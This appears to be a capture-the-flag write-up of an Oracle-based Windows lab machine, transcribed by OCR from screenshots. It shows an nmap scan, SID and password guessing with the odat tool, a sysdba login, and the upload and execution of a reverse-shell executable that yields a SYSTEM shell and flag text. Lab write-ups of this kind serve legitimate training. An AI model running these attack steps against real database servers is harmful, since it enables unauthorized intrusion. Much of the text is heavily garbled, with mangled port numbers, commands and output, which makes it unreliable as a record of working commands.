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1 FOOTHOLD

Nmap shows some ports (in the screenshot below port 5985 is missing which is a web port) however, after enumerating every port,
only the OracleTNS Listener seems interesting (it was flagged vulnerable to tnspoisoning)

PORT STATE SERVICE REASON VERSION

g@/tcp open http syn-ack ttl 127 Microsoft IIS httpd 8.5

| http-methods:

| Supported Methods: OPTIONS TRACE GET HEAD POST

|_ Potentially risky methods: TRACE

| _http-server-header: Microsoft-IIS/8.5

|_http—tit1_: IIS Windows Server

135/tcp open mMSrpc Syn- ttl 127 Microsoft Windows RPC

139/tcp open netbios-ssn  syn- ttl 127 Microsoft Windows netbios-s

L45/tcp open microsoft-ds syn- ttl 127 Microsoft Windows Serwver 200 2 - 2012 microsoft-ds
1521/tcp open oracle-tns Syn- ttl 127 0O le TNS listener .@ (unauthorized)
49152 /tcp open mMSrpc sSyn- ttl 127 Microsoft Windows RPC

49153/tcp open mMSrpc Syn- ttl 127 Microsoft Windows RPC

49154/tcp open msrpc sSyn- ttl 127 Microsoft Windows RPC

49155/tcp open mMSrpc Syn- ttl 127 Microsoft Windows RPC

49159/tcp open oracle-tns syn- ttl 127 Oracle TNS listener (requires service name)
4916@/tcp open msrpc sSyn- ttl 127 Microsoft Windows RPC

49161/tcp open msrpc Syn- ttl 127 Microsoft Windows RPC

Service Info: 0Ss: Windows, Windows Server 2088 R2 - 2012; CPE: cpe:/o:microsoft:windows

ost script results:
_clock-skew: mean:

p2p-conf
ch ]
uldn't connect)
CLEAN (Couldn't connect)
CLEAN (Timeout)
CLEAN (Failed to receive data)
Host 1s CLEAN or ports are blocked
urity-mode:
account_used: guest

-B1-18T15:54
2021-01-18

ort any incorrect results at https://nmap.org/submit/
1 IP address (1 host wp) scanned in 181.83 seconds

2 USER PRIVILEGE ESCALATION

The tnspoisoning vulnerability lead to the discovery of the "odat” repo, that was git cloned and installed:

O quentinhardy / odat

First | used the passwordguesser module, it didn’t run because the SID parameter was missing, so in order to exploit the box the

sidguesser module should be used first:
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1li-gio:/home/kali/hackthebox/Silo/odat# python3 ./odat.py sidguesser -s 10.10.10.82 -d LISTENER

[1] (10.10.10.82:1521): Searching valid SIDs
[1.1] Searching valid SIDs thanks to a well known SID list on the 10.10.10.82:1521 server
[+] 'XE' is a valid HID Continue ... i 00:00:00

e: 00:0@:5
2! 00:00:0

o

root@kali-gio: /home/kali/hackthebox/Silo/odat# python3 ./odat.py passwordguesser -s 10.10.10.82 -d XE

[1] (10.10.10.82:1521): Searching valid accounts on the 10.10.10.82 server, port 1521
The login cis has already been tested at least once. What do you want to do:

- stop (s/S)

- continue a

- skip and continue to

- continue without to

a

t once. What do you want to do:

- skip and continue
- continue without

After enumerating the db i couldn’t find any interesting path to follow, but that’s because the scott user runs with low privileges. In
order to unlock full privileges the sysdba option must be used (it’s like sudo)

3 ADMIN PRIVILEGE ESCALATION

The utlfile module is able to upload files into the remote server’s filesystem, so to get a reverse shell we must first generate the
payload with msfvenom:

10.82 server
s created on ‘thn-' C: \WINDOWS\TEMP llll'i-'(.THI'" on the 10.10.10.8: Ve 11|u-' the re file
'11ufuddt$ sudo python3 odat.py ternaltable -5 10.10.10.82 X scott -P t ——;ysdba -
‘“\windows\\TEMP revsh.

[1] (10.10.10.82:1521): Execute the revsh.exe command stored in the c:\windows\TEMP path

@Zserver\DATABASE>whoamil
whoami
nt authority\system

c:\Users>type Administratorhdesktop\root.txt
‘r1,-p-= Administratorides If’ropuoot.‘r ot

Lt

h,
type Phineas\desk \u
8alcc8d27chbe23
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